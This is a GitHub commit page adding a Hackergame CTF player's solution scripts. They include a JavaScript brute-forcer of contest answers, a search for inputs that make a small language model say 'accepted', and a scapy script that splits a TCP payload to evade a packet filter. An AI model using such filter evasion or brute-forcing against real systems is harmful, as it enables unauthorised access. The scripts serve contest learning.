Skip to content

Commit 74a94fe

Browse files
TestlaTestla
authored
Add Testla's writeup (USTC-Hackergame#67)
1 parent 2452df6 commit 74a94fe

File tree

10 files changed

+1840
-0
lines changed

10 files changed

+1840
-0
lines changed

‎README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,7 @@
103103
| [Simplxs](players/Simplxs/README.md) | 总排名第 51 名 | Hackergame 启动、猫咪小测、更深更暗、旅行照片 3.0、赛博井字棋、奶奶的睡前 flag 故事、组委会模拟器、虫、JSON ⊂ YAML?、Git? Git!、HTTP 集邮册、Docker for Everyone、惜字如金 2.0、🪐 高频率星球、🪐 小型大语言模型星球（1）、🪐 低带宽星球（1）、Komm, süsser Flagge、为什么要打开 /flag 😡（1）、异星歧途、微积分计算小练习 2.0 |
104104
| [MirageTurtle](players/MirageTurtle/README.md) | 总排名第 100 名 | Hackergame 启动、猫咪小测、更深更暗、旅行照片 3.0、赛博井字棋、奶奶的睡前 flag 故事、组委会模拟器、虫、JSON ⊂ YAML?、Git? Git!、HTTP 集邮册、Docker for Everyone、惜字如金 2.0、🪐 高频率星球、🪐 小型大语言模型星球(1,2)、🪐 流式星球、🪐 低带宽星球(1)、Komm, süsser Flagge(1,2)、异星歧途 |
105105
| [ranwen](players/ranwen/README.md) | 一般通过 | Hackergame 启动、猫咪小测、更深更暗、旅行照片 3.0、赛博井字棋、奶奶的睡前 flag 故事、组委会模拟器、虫、JSON ⊂ YAML?、Git? Git!、HTTP 集邮册、Docker for Everyone、惜字如金 2.0、🪐 高频率星球、🪐 小型大语言模型星球、🪐 流式星球、🪐 低带宽星球(1)、Komm, süsser Flagge、异星歧途、为什么要打开 /flag 😡(1)、微积分计算小练习 2.0、O(1) 用户登录系统、链上猎手、小 Z 的谜题、黑客马拉松、不可加密的异世界 2 |
106+
| [Testla](players/Testla) | 总排名第 21 名 | Hackergame 启动、猫咪小测、更深更暗、旅行照片 3.0(1,2)、赛博井字棋、奶奶的睡前 flag 故事、组委会模拟器、虫、JSON ⊂ YAML?、Git? Git!、HTTP 集邮册、Docker for Everyone、惜字如金 2.0、🪐 高频率星球、🪐 小型大语言模型星球(1,2)、🪐 流式星球、🪐 低带宽星球(1)、Komm, süsser Flagge、为什么要打开 /flag 😡(seccomp 非预期解)、异星歧途、微积分计算小练习 2.0、O(1) 用户登录系统、小 Z 的谜题(1) |
106107

107108
## 其他资源
108109

‎players/Testla/04-旅行照片 3.0/1.js

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
const dates = [
2+
'2023-06-02',
3+
// '2023-06-03',
4+
// '2023-06-04',
5+
// '2023-06-09',
6+
// '2023-06-10',
7+
// '2023-06-11',
8+
// '2023-06-15',
9+
// '2023-06-16',
10+
// '2023-06-17',
11+
// '2023-06-18',
12+
// '2023-06-23',
13+
// '2023-06-24',
14+
// '2023-06-25',
15+
];
16+
const acronyms = [
17+
// 'NBI',
18+
// 'NBIOC',
19+
// 'BLC',
20+
// 'OC',
21+
// 'ICEP',
22+
'ICRR',
23+
];
24+
25+
function dateToString(date) {
26+
return [
27+
(date.getFullYear() + '').padStart(4, '0'),
28+
(date.getMonth() + '').padStart(2, '0'),
29+
(date.getDate() + '').padStart(2, '0'),
30+
].join('-');
31+
}
32+
33+
// for (const date of dates) {
34+
let date = new Date(2023, 6, 1);
35+
while (date.getMonth() < 11) {
36+
for (const acronym of acronyms) {
37+
fetch(
38+
'http://202.38.93.111:12345/',
39+
{
40+
"method": "POST",
41+
"headers": {
42+
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
43+
},
44+
"body": btoa(`Answer1=${dateToString(date)}&Answer2=${acronym}`) + '.txt',
45+
}
46+
);
47+
}
48+
date.setDate(date.getDate() + 1);
49+
}

‎players/Testla/08-虫/flag.png

199 KB
Loading

‎players/Testla/14-🪐 高频率星球/index.html

Lines changed: 47 additions & 0 deletions
Large diffs are not rendered by default.

‎players/Testla/15-🪐 小型大语言模型星球/local.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
import json
2+
import pathlib
3+
4+
import gradio as gr
5+
from transformers import AutoModelForCausalLM, AutoTokenizer
6+
7+
root_dir = pathlib.Path('TinyStories-33M')
8+
model = AutoModelForCausalLM.from_pretrained(root_dir).eval()
9+
tokenizer = AutoTokenizer.from_pretrained(root_dir)
10+
11+
12+
def predict(message):
13+
model_inputs = tokenizer.encode(message, return_tensors="pt")
14+
model_outputs = model.generate(
15+
model_inputs,
16+
max_new_tokens=30,
17+
num_beams=1,
18+
pad_token_id=tokenizer.eos_token_id,
19+
)
20+
model_outputs = model_outputs[0, len(model_inputs[0]) :]
21+
model_output_text = tokenizer.decode(model_outputs, skip_special_tokens=True)
22+
return model_output_text
23+
24+
25+
def main() -> None:
26+
with open(root_dir / 'vocab.json', 'r', encoding='utf-8') as f:
27+
vocabulary = json.load(f)
28+
for word in vocabulary:
29+
if len(word) > 7:
30+
continue
31+
output = predict(word)
32+
if 'accepted' in output:
33+
print(word, output)
34+
exit()
35+
36+
37+
if __name__ == "__main__":
38+
main()

‎players/Testla/18-Komm, süsser Flagge/flag2.py

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
import time
2+
3+
# import IPython
4+
from scapy.all import *
5+
import scapy.layers.inet
6+
import scapy.sendrecv
7+
8+
# ip = '127.0.0.1'
9+
# ip = '172.20.224.1'
10+
# ip = '202.38.93.111'
11+
ip = '192.168.23.1'
12+
# port = 8000
13+
port = 18081
14+
sport = 9030
15+
iface = 'hgovpn-guest'
16+
17+
with open('s.txt', 'rb') as f:
18+
payload = f.read()
19+
# payload = payload + b'\r\n' * 2
20+
21+
#产生SYN包（FLAG = S 为SYN）
22+
ret = scapy.sendrecv.srp(
23+
scapy.layers.inet.IP(dst=ip)
24+
/ scapy.layers.inet.TCP(dport=port,sport=sport,flags='S',seq=17),
25+
verbose = False,
26+
iface=iface,
27+
timeout=1,
28+
)
29+
#响应的数据包产生数组([0]为响应，[1]为未响应)
30+
list = ret[0].res
31+
#第一层[0]位第一组数据包
32+
#第二层[0]表示发送的包，[1]表示收到的包
33+
#第三层[0]为IP信息，[1]为TCP信息，[2]为TCP数据
34+
tcpfields_synack = list[0][1][1].fields
35+
36+
sc_sn = tcpfields_synack['seq'] + 1
37+
cs_sn = tcpfields_synack['ack']
38+
print(sc_sn)
39+
print(cs_sn)
40+
41+
#发送ACK(flag = A),完成三次握手！
42+
scapy.sendrecv.srp(
43+
scapy.layers.inet.IP(dst=ip)
44+
/ scapy.layers.inet.TCP(dport=port,sport=sport,flags='A',seq=cs_sn,ack=sc_sn),
45+
verbose = False,
46+
iface=iface,
47+
timeout=0.01,
48+
)
49+
50+
def reset() -> None:
51+
scapy.sendrecv.send(
52+
scapy.layers.inet.IP(dst=ip)
53+
/ scapy.layers.inet.TCP(dport=port,sport=sport,flags='R',seq=cs_sn,ack=sc_sn),
54+
verbose = False,
55+
)
56+
57+
# packets = (
58+
# scapy.layers.inet.IP(dst=ip)
59+
# / scapy.layers.inet.TCP(dport=port, sport=sport, flags='PA', seq=cs_sn, ack=sc_sn)
60+
# / payload
61+
# # ).fragment(20)
62+
# )
63+
64+
t = (
65+
scapy.layers.inet.IP(dst=ip)
66+
/ scapy.layers.inet.TCP(dport=port, sport=sport, flags='PA', seq=cs_sn, ack=sc_sn)
67+
/ payload[:1]
68+
)
69+
# t.show()
70+
# packets = t.fragment(20)
71+
packets = (t,)
72+
73+
# print(packets)
74+
first = True
75+
for p in packets:
76+
scapy.sendrecv.srp(p, verbose=False, iface=iface, timeout=0.01)
77+
# if first:
78+
# time.sleep(4)
79+
# first = False
80+
time.sleep(0.1)
81+
82+
scapy.sendrecv.srp(
83+
scapy.layers.inet.IP(dst=ip)
84+
/ scapy.layers.inet.TCP(dport=port, sport=sport, flags='PA', seq=cs_sn + 1, ack=sc_sn)
85+
/ payload[1:],
86+
verbose = False,
87+
iface=iface,
88+
timeout=0.01,
89+
)
90+
91+
# IPython.embed()
92+
93+
# time.sleep(1)
94+
# reset()

‎players/Testla/26-小 Z 的谜题/all_smt.py

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
import itertools
2+
import z3
3+
4+
5+
bound = 5
6+
constraints = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3))
7+
count = [3, 4, 2, 2, 2, 3]
8+
num_constraints = sum(count)
9+
num_dims = len(constraints[0])
10+
arrange = [[[0 for i in range(3)] for j in range(num_dims)] for k in range(num_constraints)]
11+
12+
def all_smt(s, initial_terms):
13+
def block_term(s, m, t):
14+
s.add(t != m.eval(t, model_completion=True))
15+
def fix_term(s, m, t):
16+
s.add(t == m.eval(t, model_completion=True))
17+
def all_smt_rec(terms):
18+
if z3.sat == s.check():
19+
m = s.model()
20+
yield m
21+
for i in range(len(terms)):
22+
s.push()
23+
block_term(s, m, terms[i])
24+
for j in range(i):
25+
fix_term(s, m, terms[j])
26+
yield from all_smt_rec(terms[i:])
27+
s.pop()
28+
yield from all_smt_rec(list(initial_terms))
29+
30+
31+
solver = z3.Solver()
32+
a = []
33+
minus_1 = z3.Int('minus_1')
34+
solver.add(minus_1 == 6)
35+
index = 0
36+
for constraint, c in zip(constraints, count):
37+
for _ in range(c):
38+
element = [
39+
[
40+
z3.Int(f'a[{index}][{second_dim}][{0}]'),
41+
z3.Int(f'a[{index}][{second_dim}][{1}]'),
42+
minus_1,
43+
]
44+
for second_dim in range(3)
45+
]
46+
a.append(element)
47+
48+
for second_dim in range(3):
49+
for k in range(2):
50+
solver.add(0 <= element[second_dim][k])
51+
solver.add(element[second_dim][k] <= 5)
52+
53+
# stage 2
54+
for other_index in range(index):
55+
solver.add(z3.Or(*(
56+
z3.Or(
57+
element[second_dim][1] <= a[other_index][second_dim][0],
58+
a[other_index][second_dim][1] <= element[second_dim][0],
59+
)
60+
for second_dim in range(3)
61+
)))
62+
63+
# stage 3
64+
solver.add(z3.Or(*(
65+
z3.And(*(
66+
element[second_dim][1] - element[second_dim][0] == diff[second_dim]
67+
for second_dim in range(3)
68+
))
69+
for diff in set(itertools.permutations(constraint))
70+
)))
71+
72+
index += 1
73+
74+
for m in all_smt(solver, [a[i][j][k] for i in range(num_constraints) for j in range(num_dims) for k in range(2)]):
75+
l = [
76+
[
77+
[
78+
m[a[i][j][0]].as_long(),
79+
m[a[i][j][1]].as_long(),
80+
-1,
81+
]
82+
for j in range(num_dims)
83+
]
84+
for i in range(num_constraints)
85+
]
86+
score = len(set((x, y, z) for i in range(num_constraints) for x, y, z in itertools.product(*l[i])))
87+
print(f'{score=}')
88+
l = sorted(l)
89+
for i in range(num_constraints):
90+
for j in range(num_dims):
91+
for k in range(2):
92+
print(l[i][j][k], end='')
93+
print()

‎players/Testla/26-小 Z 的谜题/calculate_score.py

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
import itertools
2+
import z3
3+
4+
5+
bound = 5
6+
constraints = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3))
7+
count = [3, 4, 2, 2, 2, 3]
8+
num_constraints = sum(count)
9+
num_dims = len(constraints[0])
10+
arrange = [[[0 for i in range(3)] for j in range(num_dims)] for k in range(num_constraints)]
11+
12+
solver = z3.Solver()
13+
a = []
14+
minus_1 = z3.Int('minus_1')
15+
solver.add(minus_1 == 6)
16+
index = 0
17+
s = z3.EmptySet(z3.IntSort())
18+
for constraint, c in zip(constraints, count):
19+
for _ in range(c):
20+
element = [
21+
[
22+
z3.Int(f'a[{index}][{second_dim}][{0}]'),
23+
z3.Int(f'a[{index}][{second_dim}][{1}]'),
24+
minus_1,
25+
]
26+
for second_dim in range(3)
27+
]
28+
a.append(element)
29+
30+
for second_dim in range(3):
31+
for k in range(2):
32+
solver.add(0 <= element[second_dim][k])
33+
solver.add(element[second_dim][k] <= 5)
34+
35+
# stage 2
36+
for other_index in range(index):
37+
solver.add(z3.Or(*(
38+
z3.Or(
39+
element[second_dim][1] <= a[other_index][second_dim][0],
40+
a[other_index][second_dim][1] <= element[second_dim][0],
41+
)
42+
for second_dim in range(3)
43+
)))
44+
45+
# stage 3
46+
solver.add(z3.Or(*(
47+
z3.And(*(
48+
element[second_dim][1] - element[second_dim][0] == diff[second_dim]
49+
for second_dim in range(3)
50+
))
51+
for diff in set(itertools.permutations(constraint))
52+
)))
53+
54+
# count cartesian product
55+
for i in range(3):
56+
for j in range(3):
57+
for k in range(3):
58+
s = z3.SetAdd(s, element[0][i] * 7 ** 2 + element[1][j] * 7 + element[2][k])
59+
60+
index += 1
61+
62+
score = z3.Sum(*(
63+
z3.If(z3.IsMember(i * 7 ** 2 + j * 7 + k, s), 1, 0)
64+
for i in range(7)
65+
for j in range(7)
66+
for k in range(7)
67+
))
68+
solver.add(score >= 157)
69+
70+
check_result = solver.check()
71+
print(check_result)
72+
if check_result != z3.sat:
73+
exit(1)
74+
m = solver.model()
75+
l = [
76+
[
77+
[
78+
m[a[i][j][0]].as_long(),
79+
m[a[i][j][1]].as_long(),
80+
-1,
81+
]
82+
for j in range(num_dims)
83+
]
84+
for i in range(num_constraints)
85+
]
86+
print(f'{m[score]=}')
87+
score = len(set((x, y, z) for i in range(num_constraints) for x, y, z in itertools.product(*l[i])))
88+
print(f'{score=}')
89+
l = sorted(l)
90+
for i in range(num_constraints):
91+
for j in range(num_dims):
92+
for k in range(2):
93+
print(l[i][j][k], end='')
94+
print()

0 commit comments

Comments
 (0)